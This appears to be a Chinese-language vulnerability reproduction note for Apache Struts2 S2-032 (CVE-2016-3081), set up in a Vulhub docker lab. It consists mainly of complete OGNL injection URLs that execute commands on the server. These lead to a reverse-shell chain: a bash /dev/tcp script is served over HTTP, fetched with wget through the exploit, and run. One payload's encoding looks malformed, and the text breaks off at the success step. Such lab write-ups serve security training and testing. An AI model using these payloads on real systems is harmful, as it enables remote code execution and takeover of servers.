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73 lines
3.1 KiB
Markdown
73 lines
3.1 KiB
Markdown
# Apache Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081
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## 漏洞描述
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Struts2 在开启了动态方法调用（Dynamic Method Invocation）的情况下，可以使用 `method:<name>` 的方式来调用名字是 `<name>` 的方法，而这个方法名将会进行 OGNL 表达式计算，导致远程命令执行漏洞。
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漏洞详情:
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- https://cwiki.apache.org/confluence/display/WW/S2-032
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- https://www.cnblogs.com/mrchang/p/6501428.html
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## 漏洞影响
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影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
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## 环境搭建
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Vulhub 执行以下命令启动 s2-032 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080` 即可看到默认页面。
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## 漏洞复现
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直接请求如下 URL，即可执行 `id` 命令：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
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```
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### 反弹 shell
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编写 shell 脚本并启动 http 服务器：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下：python -m http.server 80
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```
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上传 shell.sh 文件的命令为：
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```
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wget 192.168.174.128/shell.sh
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```
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上传 shell.sh 文件的 Payload 为：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget%20192.168.174.128/shell.sh
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```
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执行 shell.sh 文件的命令为：
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```
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bash shell.sh
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```
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执行 shell.sh 文件的 Payload 为：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash%shell.sh
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```
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成功接收反弹 shell：
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